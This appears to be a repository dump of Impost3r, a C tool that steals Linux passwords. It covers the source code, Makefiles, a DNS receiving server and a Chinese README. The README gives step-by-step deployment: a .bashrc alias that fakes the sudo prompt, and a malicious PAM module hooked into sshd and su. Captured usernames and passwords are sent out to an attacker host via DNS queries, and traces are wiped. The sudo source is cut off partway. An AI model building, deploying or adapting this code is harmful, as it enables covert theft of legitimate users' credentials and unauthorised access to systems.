├── img └── Impost3r.png ├── sudo ├── Makefile └── main.c ├── ssh_su ├── Makefile └── main.c ├── dns ├── dns.h └── dns.c ├── LICENSE ├── Fdns ├── main.c ├── util.h └── util.c ├── README.md └── README_EN.md /img/Impost3r.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Impost3r/master/img/Impost3r.png -------------------------------------------------------------------------------- /sudo/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-g -Wall 3 | 4 | all: .impost3r 5 | 6 | .impost3r: main.c ../dns/dns.c 7 | $(CC) $(CFLAGS) -o .impost3r main.c ../dns/dns.c 8 | 9 | clean: 10 | rm *.o .impost3r 11 | -------------------------------------------------------------------------------- /ssh_su/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS = -Werror -Wall 3 | 4 | all: impost3r.so 5 | 6 | impost3r.so: main.c ../dns/dns.c 7 | $(CC) $(CFLAGS) -shared -fPIC -Xlinker -x -o impost3r.so main.c ../dns/dns.c 8 | 9 | clean: 10 | rm *.o impost3r.so -------------------------------------------------------------------------------- /dns/dns.h: -------------------------------------------------------------------------------- 1 | #ifndef __DNS_STRUCTS_H__ 2 | #define __DNS_STRUCTS_H__ 3 | 4 | #include 5 | #include 6 | 7 | typedef struct 8 | { 9 | uint16_t id; 10 | uint16_t flags; 11 | uint16_t qdcount; 12 | uint16_t ancount; 13 | uint16_t nscount; 14 | uint16_t arcount; 15 | } DNS_header; 16 | 17 | typedef struct 18 | { 19 | size_t length; 20 | uint16_t qtype; 21 | uint16_t qclass; 22 | char qname[]; 23 | } DNS_question; 24 | 25 | DNS_header *create_header(); 26 | DNS_question *create_question(const char *hostname); 27 | size_t build_packet(DNS_header *header, DNS_question *question, unsigned char **packet); 28 | #endif 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 ph4ntom 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Fdns/main.c: -------------------------------------------------------------------------------- 1 | /* Dns Server 2 | 3 | Auothor:zz*/ 4 | 5 | #include 6 | ///* 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | //#include 15 | 16 | //*/ 17 | 18 | #include "util.h" 19 | 20 | 21 | 22 | #define MAX_BUFFER_SIZE 2048 23 | 24 | void sys_error(const char *status){ 25 | perror(status); 26 | exit(EXIT_FAILURE); 27 | } 28 | 29 | int main(int argc,char *argv[]){ 30 | 31 | int sockfd; 32 | struct sockaddr_in server_addr; 33 | struct sockaddr_in client_addr; 34 | char buf[MAX_BUFFER_SIZE]; 35 | 36 | sockfd=socket(AF_INET,SOCK_DGRAM,0); 37 | if(sockfd<0) 38 | sys_error("socket"); 39 | 40 | bzero(&server_addr,sizeof(struct sockaddr_in)); 41 | server_addr.sin_family=AF_INET; 42 | server_addr.sin_port=htons(53); //Change your port here! 43 | server_addr.sin_addr.s_addr=htonl(INADDR_ANY); 44 | 45 | if(bind(sockfd, (const struct sockaddr *) &server_addr,sizeof(struct sockaddr_in))<0) 46 | sys_error("bind"); 47 | 48 | while(1){ 49 | int result=0; 50 | int addrlen=sizeof(struct sockaddr_in); 51 | bzero(&client_addr,sizeof(struct sockaddr_in)); 52 | result=recvfrom(sockfd,buf,MAX_BUFFER_SIZE,0, (struct sockaddr *) &client_addr,&addrlen); 53 | if(result<0) 54 | sys_error("recvfrom"); 55 | fprintf(stdout,"[debug]Get an request from [%s] success.\n",inet_ntoa(client_addr.sin_addr)); 56 | struct dns_request request; 57 | 58 | resolve_dns_request(buf,result,&request); 59 | 60 | //TODO give a response to client 61 | char response_buf[MAX_BUFFER_SIZE]; 62 | int response_buf_size; 63 | struct dns_response response; 64 | setup_dns_response(response_buf,&response_buf_size,&request,&response); 65 | result=sendto(sockfd,response_buf,response_buf_size,0, (const struct sockaddr *) &client_addr,sizeof(struct sockaddr_in)); 66 | if(result<0) 67 | sys_error("sendto"); 68 | free_dns_request(&request); 69 | free_dns_respnose(&response); 70 | } 71 | 72 | printf("Test Framework.\n"); 73 | return 0; 74 | } 75 | 76 | -------------------------------------------------------------------------------- /Fdns/util.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by zz on 2015/6/20. 3 | // 4 | 5 | #ifndef FDNS_UTIL_H 6 | #define FDNS_UTIL_H 7 | 8 | #include 9 | 10 | #define MAX_NAME_SIZE 2048 11 | 12 | 13 | /* 14 | * Dns request Entity 15 | */ 16 | typedef struct dns_request_query{ 17 | char name[MAX_NAME_SIZE]; 18 | uint16_t type; 19 | uint16_t class; 20 | }dns_request_query; 21 | 22 | typedef struct dns_request{ 23 | 24 | uint16_t transaction_id; 25 | 26 | uint16_t flags; 27 | uint16_t questions; 28 | uint16_t answer_rrs; 29 | uint16_t authority_rrs; 30 | uint16_t additional_rrs; 31 | 32 | dns_request_query *queries; //array of request queries 33 | 34 | }dns_request; 35 | 36 | /* 37 | * method 38 | * return 0 for succeed 39 | * return -1 for failed 40 | */ 41 | 42 | int resolve_dns_request(void *buf,int bufsize,dns_request *request); 43 | int resolve_dns_request_query(void *buf,void **ptr,dns_request_query *query); 44 | void free_dns_request(struct dns_request *dnsRequest); 45 | 46 | 47 | /* 48 | * Dns response Entity 49 | */ 50 | 51 | //Answers 52 | typedef struct dns_response_answer{ 53 | uint16_t name_pointer; //the pointer to the name 54 | uint16_t type; 55 | uint16_t class; 56 | uint32_t ttl; 57 | uint16_t length; //the data length of name .For address is 4 58 | union cname_or_address{ 59 | char cname[MAX_NAME_SIZE]; 60 | uint16_t address; 61 | }; 62 | }dns_response_answer; 63 | 64 | typedef struct dns_response_autho_nameserver{ 65 | union name{ 66 | char address[MAX_NAME_SIZE]; 67 | uint16_t name_pointer; 68 | }; 69 | uint16_t type; 70 | uint16_t class; 71 | uint32_t ttl; 72 | uint16_t length; //the data length of name .For address is 4 73 | }dns_response_autho_nameserver; 74 | 75 | typedef struct dns_response{ 76 | 77 | uint16_t transaction_id; 78 | 79 | uint16_t flags; 80 | uint16_t questions; 81 | uint16_t answer_rrs; 82 | uint16_t authority_rrs; 83 | uint16_t additional_rrs; 84 | 85 | dns_request_query *queries; //array of request queries 86 | dns_response_answer *answers; //array of response answers 87 | }dns_response; 88 | 89 | int setup_dns_response(char *buf,int *bufsize,const struct dns_request *request,struct dns_response *response); 90 | void free_dns_respnose(struct dns_response *response); 91 | #endif //FDNS_UTIL_H 92 | -------------------------------------------------------------------------------- /dns/dns.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "dns.h" 9 | 10 | const char *address_types[16] = 11 | { 12 | "A", 13 | "NS", 14 | "MD", 15 | "MF", 16 | "CNAME", 17 | "SOA", 18 | "MB", 19 | "MG", 20 | "MR", 21 | "NULL", 22 | "WKS", 23 | "PTR", 24 | "HINFO", 25 | "MINFO", 26 | "MX", 27 | "TXT" 28 | }; 29 | 30 | const char *ddress_classes[4] = 31 | { 32 | "IN", 33 | "CS", 34 | "CH", 35 | "HS" 36 | }; 37 | 38 | DNS_header * 39 | create_header() 40 | { 41 | srandom(time(NULL)); 42 | 43 | DNS_header *header = malloc(sizeof(DNS_header)); 44 | memset(header,0,sizeof(DNS_header)); 45 | 46 | header->id = random(); 47 | header->flags |= htons(0x0100); 48 | header->qdcount = htons(1); 49 | 50 | return header; 51 | } 52 | 53 | DNS_question * 54 | create_question(const char *hostname) 55 | { 56 | DNS_question *question = malloc(sizeof(DNS_question) + strlen(hostname) + 2); 57 | 58 | question->length = strlen(hostname) + 2; 59 | question->qtype = htons(1); 60 | question->qclass = htons(1); 61 | 62 | char *token; 63 | const char delim[2] = "."; 64 | 65 | char *hostname_dup = strdup(hostname); 66 | token = strtok(hostname_dup, delim); 67 | 68 | char *q_qname = &question->qname[0]; 69 | while(token != NULL) { 70 | size_t len = strlen(token); 71 | 72 | *q_qname = len; 73 | q_qname++; 74 | strncpy(q_qname, token, len + 1); 75 | q_qname += len; 76 | 77 | token = strtok(NULL,delim); 78 | } 79 | 80 | free(hostname_dup); 81 | return question; 82 | } 83 | 84 | size_t 85 | build_packet(DNS_header *header, DNS_question *question, unsigned char **packet) 86 | { 87 | size_t header_s = sizeof(DNS_header); 88 | size_t question_s = question->length + sizeof(question->qtype) + sizeof(question->qclass); 89 | size_t length = header_s + question_s; 90 | 91 | *packet = malloc(length); 92 | 93 | int offset = 0; 94 | memcpy(*packet + offset, header, sizeof(DNS_header)); 95 | offset += sizeof(DNS_header); 96 | memcpy(*packet + offset, question->qname, question->length); 97 | offset += question->length; 98 | memcpy(*packet + offset, &question->qtype, sizeof(question->qtype)); 99 | offset += sizeof(question->qtype); 100 | memcpy(*packet + offset, &question->qclass, sizeof(question->qclass)); 101 | 102 | return length; 103 | } 104 | -------------------------------------------------------------------------------- /ssh_su/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "../dns/dns.h" 11 | 12 | /* 13 | Need root previlege!!! 14 | */ 15 | 16 | /* 17 | Custom setting 18 | */ 19 | # define SSH_OR_BOTH 0 //ssh=0,su&&ssh=1,default is ssh 20 | # define SAVE_OR_SEND 0 //send=0,save=1,default is send 21 | 22 | /* 23 | Send to server 24 | */ 25 | # define MAX_RESEND 30 26 | # define RESEND_INTERVAL 5 27 | # define REMOTE_ADDRESS "192.168.0.12" 28 | # define REMOTE_PORT 53 29 | 30 | /* 31 | Save to local 32 | */ 33 | # define SAVE_LOCATION "/tmp/.sshsucache" 34 | 35 | 36 | void 37 | saveResult(char stealResult[]) 38 | { 39 | FILE *fp = NULL; 40 | 41 | fp = fopen(SAVE_LOCATION, "a+"); 42 | fputs(stealResult, fp); 43 | fclose(fp); 44 | } 45 | 46 | void 47 | sendResult(char stealResult[]) 48 | { 49 | struct sockaddr_in evil; 50 | unsigned char *packet; 51 | int sockfd; 52 | unsigned int slen = sizeof(evil); 53 | 54 | if((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { 55 | return; 56 | } 57 | 58 | evil.sin_family = AF_INET; 59 | evil.sin_port = htons(REMOTE_PORT); 60 | evil.sin_addr.s_addr = inet_addr(REMOTE_ADDRESS); 61 | memset(&evil.sin_zero, 0, sizeof(evil.sin_zero)); 62 | 63 | DNS_header *header = create_header(); 64 | DNS_question *question = create_question(stealResult); 65 | size_t packet_length = build_packet(header, question, &packet); 66 | 67 | free(header); 68 | free(question); 69 | 70 | for (int i =0;i0) 83 | { 84 | return; 85 | } 86 | } 87 | } 88 | 89 | void 90 | sendSingleResult(char stealResult[]) 91 | { 92 | struct sockaddr_in evil; 93 | unsigned char *packet; 94 | int sockfd; 95 | unsigned int slen = sizeof(evil); 96 | 97 | if((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { 98 | return; 99 | } 100 | 101 | evil.sin_family = AF_INET; 102 | evil.sin_port = htons(REMOTE_PORT); 103 | evil.sin_addr.s_addr = inet_addr(REMOTE_ADDRESS); 104 | memset(&evil.sin_zero, 0, sizeof(evil.sin_zero)); 105 | 106 | DNS_header *header = create_header(); 107 | DNS_question *question = create_question(stealResult); 108 | size_t packet_length = build_packet(header, question, &packet); 109 | 110 | free(header); 111 | free(question); 112 | 113 | sendto(sockfd, packet, packet_length, 0, (struct sockaddr *) &evil, slen); 114 | } 115 | 116 | PAM_EXTERN int 117 | pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { 118 | const char* username; 119 | const char* password; 120 | 121 | char bonus[2048]; 122 | 123 | pam_get_item(pamh,PAM_USER,(void *) &username); 124 | pam_get_item(pamh, PAM_AUTHTOK, (void *) &password); 125 | 126 | snprintf(bonus,sizeof(bonus),"Username %s\nPassword: %s\n",username,password); 127 | 128 | if (password != NULL) 129 | { 130 | if (SAVE_OR_SEND) 131 | { 132 | saveResult(bonus); 133 | } 134 | else if (SSH_OR_BOTH) 135 | { 136 | sendSingleResult(bonus); 137 | } 138 | else if (!SSH_OR_BOTH) 139 | { 140 | int pid = fork(); 141 | if (pid == 0) 142 | { 143 | sendResult(bonus); 144 | } 145 | } 146 | } 147 | return PAM_SUCCESS; 148 | } 149 | 150 | PAM_EXTERN int 151 | pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { 152 | return PAM_SUCCESS; 153 | } 154 | 155 | PAM_EXTERN int 156 | pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { 157 | return PAM_SUCCESS; 158 | } 159 | 160 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![imposter.png](https://github.com/ph4ntonn/Impost3r/blob/master/img/Impost3r.png) 2 | 3 | # Impost3r 4 | 5 | [![GitHub issues](https://img.shields.io/github/issues/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/issues) 6 | [![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/stargazers) 7 | [![GitHub forks](https://img.shields.io/github/forks/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/network) 8 | [![GitHub license](https://img.shields.io/github/license/ph4ntonn/Impost3r?label=license)](https://github.com/ph4ntonn/Impost3r/blob/master/LICENSE) 9 | 10 | [English](README_EN.md) 11 | 12 | Impost3r是一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具 13 | 14 | 用户可使用此程序制造水坑,窃取合法用户的密码 15 | 16 | > 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! 17 | 18 | ## 特性 19 | 20 | - 自动擦除行为痕迹 21 | - 通过DNS协议传输结果 22 | - 用户无感 23 | 24 | ## 依赖 25 | 26 | - gcc 27 | 28 | ## 使用方法 29 | 30 | Impost3r可以用来窃取包括sudo、su、ssh服务在内的密码,这三个服务可大致分为2类,sudo以及ssh/su,下面分两种情况讨论 31 | 32 | ## 窃取sudo密码 33 | 34 | 仅需要普通用户权限即可,不要求一定是root,但只能窃取对应用户的密码,不能窃取其他用户的 35 | 36 | - 首先假设攻击者控制了一台服务器,权限为普通用户权限 37 | 38 | - 拷贝一份用户的.bashrc```cp ~/.bashrc /tmp/```,并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下,攻击者可以修改) 39 | 40 | - 修改用户根目录下的.bashrc(~/.bashrc),在最后一行添加如下语句(其中“/tmp/.impost3r”需要与下面的FILENAME保持一致): 41 | 42 | ``` 43 | alias sudo='impost3r() { 44 | if [ -f "/tmp/.impost3r" ]; then 45 | /tmp/.impost3r "$@" && unalias sudo 46 | else 47 | unalias sudo;sudo "$@" 48 | fi 49 | }; impost3r' 50 | ``` 51 | 52 | - 添加完成后,保存文件并执行```source ~/.bashrc``` 53 | 54 | - 接着攻击者需要对Impost3r源代码```/sudo/main.c```进行修改: 55 | 56 | ``` 57 | /* 58 | Custom setting 59 | */ 60 | # define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置 61 | # define BACKUP_BASHRC "/tmp/.bashrc" \\设置攻击者备份的源.bashrc在目标服务器上的位置 62 | # define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) 63 | /* 64 | Send to server 65 | */ 66 | # define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 67 | # define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔 68 | # define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址 69 | # define REMOTE_PORT 53 \\设置回送密码的远程端口 70 | 71 | /* 72 | Save to local 73 | */ 74 | # define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下 75 | ``` 76 | - 修改完成后,保存并在当前目录执行```make``` 77 | 78 | - 在当前目录下得到编译完成的```.impost3r```文件 79 | 80 | - 上传```.impost3r```文件至目标服务器的```/tmp/```文件夹下(仅为示例,可自行修改,只需与源代码中定义相同即可) 81 | 82 | - 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用```sudo```后获取密码。 83 | 84 | ### 窃取效果 85 | 86 | 87 | 88 | ### Tips 89 | 90 | - 在窃取sudo密码的情况下,Impost3r在成功后将会自动擦除痕迹,并不需要攻击者上去手动清理 91 | 92 | ## 窃取ssh/su密码 93 | 94 | 窃取ssh/su密码与上面sudo密码的窃取利用方法不同,要求必须是root权限,可以窃取任意用户密码 95 | 96 | 以下以Ubuntu为例,Centos类似,提到的文件位置可能有些许不同 97 | 98 | - 首先还是假设攻击者控制了一台服务器 99 | 100 | - 通过一顿提权操作获得了root权限(或者可爱的管理员就是用root权限启动的服务) 101 | 102 | - 先编辑Impost3r的```/ssh_su/main.c```源代码文件 103 | 104 | ``` 105 | /* 106 | Custom setting 107 | */ 108 | # define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) 109 | # define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) 110 | 111 | /* 112 | Send to server 113 | */ 114 | # define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) 115 | # define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) 116 | # define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址 117 | # define REMOTE_PORT 53 \\设置回送密码的远程端口 118 | 119 | /* 120 | Save to local 121 | */ 122 | # define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下 123 | ``` 124 | 125 | - 修改完成后,保存并在当前目录下执行```make``` 126 | 127 | - 得到编译好的文件impost3r.so 128 | 129 | - 将编译完成的impost3r.so上传至目标机器的```/lib/x86_64-linux-gnu/security```下(不同机器可能文件夹名不同,请根据情况放置) 130 | 131 | - 进入```/etc/pam.d```下,这时分两种情况,如果选择的模式是仅偷取ssh密码,那么就需要执行```vi sshd```,在文件的最后添加如下语句 132 | 133 | ``` 134 | auth optional impost3r.so 135 | account optional impost3r.so 136 | ``` 137 | 138 | - 保存并退出,重启sshd服务```service sshd restart``` 139 | 140 | - 而如果选择的是ssh和su密码一起偷取,那么就需要执行```vi common-auth```,添加相同语句,保存并退出后同样重启sshd服务 141 | 142 | - 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用```ssh```登陆目标机器或者使用```su```切换用户后获取密码。 143 | 144 | ### 窃取效果 145 | 146 | 147 | 148 | ### Tips 149 | 150 | - 在窃取ssh/su密码的情况下,Impost3r由于权限原因无法清除痕迹,需要攻击者自己去清除 151 | 152 | - 请注意,如果设置仅窃取ssh密码,那么基本可以保证攻击者能百分百收到窃取结果,而如果设置两者同时窃取,则不一定保证攻击者能百分百收到结果(仅当设置为dns发送的时候,设置为本地保存不受影响) 153 | 154 | - 不推荐窃取su密码,而且由于用户的ssh密码与su密码是相同的,故而能不窃取su密码就不要窃取,ssh密码就足矣 155 | 156 | - 默认不窃取空密码,请自行尝试用户是否存在空密码(检查一下sshd的配置文件中是否有```PermitEmptyPasswords yes```,如果是空,那还窃取个鬼鬼。) 157 | 158 | ## 注意事项 159 | 160 | - Dns服务端程序我使用的是[Fdns](https://github.com/deepdarkness/Fdns),并修改了一部分参数,大家可在文件夹Fdns下找到修改后的源代码,请自行利用命令```gcc -o dns main.c util.c```编译(注意要先修改main.c中的监听端口),当然,也可以用别的dns服务端程序,这里并不受限,但是必须是会回复dns response的服务端程序,而不是仅解析dns request。 161 | - 此程序仅是闲暇时开发学习,功能可能存在bug,请多多谅解,也欢迎反馈问题 162 | 163 | ## 致谢 164 | 165 | - [Fdns](https://github.com/deepdarkness/Fdns) 166 | -------------------------------------------------------------------------------- /Fdns/util.c: -------------------------------------------------------------------------------- 1 | // 2 | // Created by zz on 2015/6/20. 3 | // 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | //#include 10 | #include "util.h" 11 | 12 | #define MAX_NAME_SIZE 2048 13 | 14 | int resolve_dns_request(void *buf,int bufsize,dns_request *request){ 15 | 16 | int status; 17 | int i; 18 | uint16_t *ptr=buf; 19 | 20 | printf("[buffer size]%d\n",bufsize); 21 | 22 | if(bufsize<=12){ 23 | fprintf(stderr,"[ERROR] bufsize is too short.\n"); 24 | return -1; 25 | } 26 | 27 | request->transaction_id=ntohs(*ptr++); 28 | request->flags=ntohs(*ptr++); 29 | request->questions=ntohs(*ptr++); 30 | request->answer_rrs=ntohs(*ptr++); 31 | request->authority_rrs=ntohs(*ptr++); 32 | request->additional_rrs=ntohs(*ptr++); 33 | 34 | request->queries=malloc(request->questions*sizeof(struct dns_request_query)); 35 | if(request->queries==NULL){ 36 | fprintf(stderr,"[ERROR] malloc error.\n"); 37 | } 38 | 39 | ///debug 40 | fprintf(stdout,"-----------start a request show-------------\n"); 41 | fprintf(stdout,"[debug]Request transaction_id:%x\n",request->transaction_id); 42 | fprintf(stdout,"[debug]Request flags:%x\n",request->flags); 43 | fprintf(stdout,"[debug]Request questions:%x\n",request->questions); 44 | fprintf(stdout,"[debug]Request answer_rrs:%x\n",request->answer_rrs); 45 | fprintf(stdout,"[debug]Request authority_rrs:%x\n",request->authority_rrs); 46 | fprintf(stdout,"[debug]Request additional_rrs:%x\n",request->additional_rrs); 47 | 48 | ///undebug 49 | for(i=0;iquestions;i++){ 50 | if(resolve_dns_request_query(buf, (void **) &ptr,&request->queries[i])!=0){ 51 | fprintf(stderr,"[ERROR]Failed to resolve dns request.\n"); 52 | } 53 | } 54 | fprintf(stdout,"-----------end a request show-------------\n"); 55 | 56 | } 57 | 58 | int resolve_dns_request_query(void *buf,void **ptr,dns_request_query *query){ 59 | char name[MAX_NAME_SIZE]; 60 | int i; 61 | int sublen,len=0; 62 | void *tempptr=*ptr; 63 | sublen=*((uint8_t *)tempptr++); 64 | while(sublen!=0){ 65 | if(len!=0){ 66 | name[len++]='.'; 67 | } 68 | for(i=0;iname,name); 75 | query->type=ntohs(*((uint16_t *)tempptr++)); 76 | query->class=ntohs(*((uint16_t *)tempptr++)); 77 | /* 78 | * debug 79 | */ 80 | fprintf(stdout,"[debug]Request url:%s\n",query->name); 81 | fprintf(stdout,"[debug]Request type:%x\n",query->type); 82 | fprintf(stdout,"[debug]Request class:%x\n",query->class); 83 | 84 | 85 | *ptr=tempptr; 86 | return 0; 87 | } 88 | 89 | void free_dns_request(struct dns_request *dnsRequest){ 90 | free(dnsRequest->queries); 91 | } 92 | 93 | int setup_dns_response(char *buf,int *bufsize,const struct dns_request *request,struct dns_response *response){ 94 | 95 | 96 | int size=0; 97 | //make a response 98 | response->transaction_id=request->transaction_id; 99 | response->flags=0x8180; //standard query response ,no error 100 | response->questions=request->questions; 101 | response->answer_rrs=0x0001; 102 | response->authority_rrs=0x0000; 103 | response->additional_rrs=0x0000; 104 | 105 | response->queries=request->queries; 106 | 107 | response->answers=malloc(1*sizeof(struct dns_response_answer)); 108 | char *bufptr=buf; 109 | 110 | *(uint16_t *)bufptr=htons(response->transaction_id);bufptr+=2; 111 | *(uint16_t *)bufptr=htons(response->flags);bufptr+=2; 112 | *(uint16_t *)bufptr=htons(response->questions);bufptr+=2; 113 | *(uint16_t *)bufptr=htons(response->answer_rrs);bufptr+=2; 114 | *(uint16_t *)bufptr=htons(response->authority_rrs);bufptr+=2; 115 | *(uint16_t *)bufptr=htons(response->additional_rrs);bufptr+=2; 116 | 117 | size+=12; 118 | 119 | int i; 120 | int sublen=0; 121 | char *subptr=request->queries[0].name; 122 | char *tempptr=request->queries[0].name; 123 | while(*subptr!='\0'){ 124 | sublen=0; 125 | while(*subptr!='.'&&*subptr!='\0'){ 126 | sublen++; 127 | subptr++; 128 | } 129 | *bufptr++= (char) sublen; 130 | for(i=0;ianswers); 164 | } -------------------------------------------------------------------------------- /sudo/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "../dns/dns.h" 12 | /* 13 | Don't edit 14 | */ 15 | # define BUFFER_LEN 2048 16 | # define MAX_RETRY 3 17 | 18 | /* 19 | Custom setting 20 | */ 21 | # define FILENAME "/tmp/.impost3r" 22 | # define BACKUP_BASHRC "/tmp/.bashrc" 23 | # define SAVE_OR_SEND 0 //send=0,save=1,default is send 24 | /* 25 | Send to server 26 | */ 27 | # define MAX_RESEND 30 28 | # define RESEND_INTERVAL 5 29 | # define REMOTE_ADDRESS "192.168.0.12" 30 | # define REMOTE_PORT 53 31 | 32 | /* 33 | Save to local 34 | */ 35 | # define SAVE_LOCATION "/tmp/.cache" 36 | 37 | int successFlag = 1; 38 | 39 | /* 40 | Usage: 41 | alias sudo='impost3r() { 42 | if [ -f "/tmp/.impost3r" ]; then 43 | /tmp/.impost3r "$@" && unalias sudo 44 | else 45 | unalias sudo;sudo "$@" 46 | fi 47 | }; impost3r' 48 | */ 49 | 50 | void 51 | sudo(char arguments[]) 52 | { 53 | char command[BUFFER_LEN] = {0}; 54 | 55 | snprintf(command,BUFFER_LEN,"/usr/bin/sudo%s",arguments); 56 | system(command); 57 | } 58 | 59 | ssize_t 60 | steal_password(char **lineptr, size_t *n, FILE *stream) 61 | { 62 | struct termios fakeTerminal, realTerminal; 63 | 64 | if (tcgetattr (fileno (stream), &realTerminal) != 0) 65 | return -1; 66 | 67 | fakeTerminal = realTerminal; 68 | fakeTerminal.c_lflag &= ~ECHO; 69 | 70 | if (tcsetattr (fileno (stream), TCSAFLUSH, &fakeTerminal) != 0) 71 | return -1; 72 | 73 | getline (lineptr, n, stream); 74 | 75 | tcsetattr (fileno (stream), TCSAFLUSH, &realTerminal); 76 | 77 | return 1; 78 | } 79 | void 80 | save_passwd(char *name,char *password,char *all, int success) 81 | { 82 | char *status = NULL; 83 | status = "success"; 84 | 85 | if (!success) 86 | { 87 | status = "fail"; 88 | } 89 | 90 | char text[BUFFER_LEN] = {0}; 91 | snprintf(text, sizeof(text), "%s:%s:%s\n", name, password, status); 92 | 93 | strcat(all,text); 94 | } 95 | 96 | void 97 | send_passwd(char *all) 98 | { 99 | struct sockaddr_in evil; 100 | unsigned char *packet; 101 | int sockfd; 102 | unsigned int slen = sizeof(evil); 103 | 104 | if((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { 105 | return; 106 | } 107 | 108 | evil.sin_family = AF_INET; 109 | evil.sin_port = htons(REMOTE_PORT); 110 | evil.sin_addr.s_addr = inet_addr(REMOTE_ADDRESS); 111 | memset(&evil.sin_zero, 0, sizeof(evil.sin_zero)); 112 | 113 | DNS_header *header = create_header(); 114 | DNS_question *question = create_question(all); 115 | size_t packet_length = build_packet(header, question, &packet); 116 | 117 | free(header); 118 | free(question); 119 | 120 | for (int i =0;i0) 133 | { 134 | return; 135 | } 136 | } 137 | } 138 | 139 | void save_passwd_local(char *all) 140 | { 141 | FILE *fp = NULL; 142 | 143 | fp = fopen(SAVE_LOCATION, "w"); 144 | fputs(all, fp); 145 | fclose(fp); 146 | } 147 | 148 | void 149 | clear_all(){ 150 | char command[BUFFER_LEN] = {0}; 151 | 152 | snprintf(command, sizeof(command), "mv %s ~/.bashrc > /dev/null 2>&1;rm %s > /dev/null 2>&1", BACKUP_BASHRC, FILENAME); 153 | 154 | system(command); 155 | } 156 | 157 | char * 158 | fake_sudo(struct passwd *usrInfo,int argc,char arguments[],char *params[]) 159 | { 160 | int retryTimes = 0; 161 | char testCommand[BUFFER_LEN] = {0}; 162 | char *stealPasswd = NULL; 163 | static char allPasswd[1000]; 164 | size_t len = 0; 165 | 166 | if (argc != 1) 167 | { 168 | while (retryTimes < MAX_RETRY) 169 | { 170 | printf("[sudo] password for %s: ", usrInfo->pw_name); 171 | steal_password(&stealPasswd,&len,stdin); 172 | 173 | int location = strlen(stealPasswd)-1; 174 | if (stealPasswd[location] == '\n') stealPasswd[location] = '\0'; 175 | 176 | snprintf(testCommand, sizeof(testCommand), "echo %s | /usr/bin/sudo -S whoami >/dev/null 2>&1",stealPasswd); 177 | printf("\n"); 178 | 179 | int testret = system(testCommand); 180 | 181 | if (testret != 0) 182 | { 183 | if (retryTimes == MAX_RETRY-1) 184 | { 185 | printf("sudo: %d incorrect password attempts\n", MAX_RETRY); 186 | 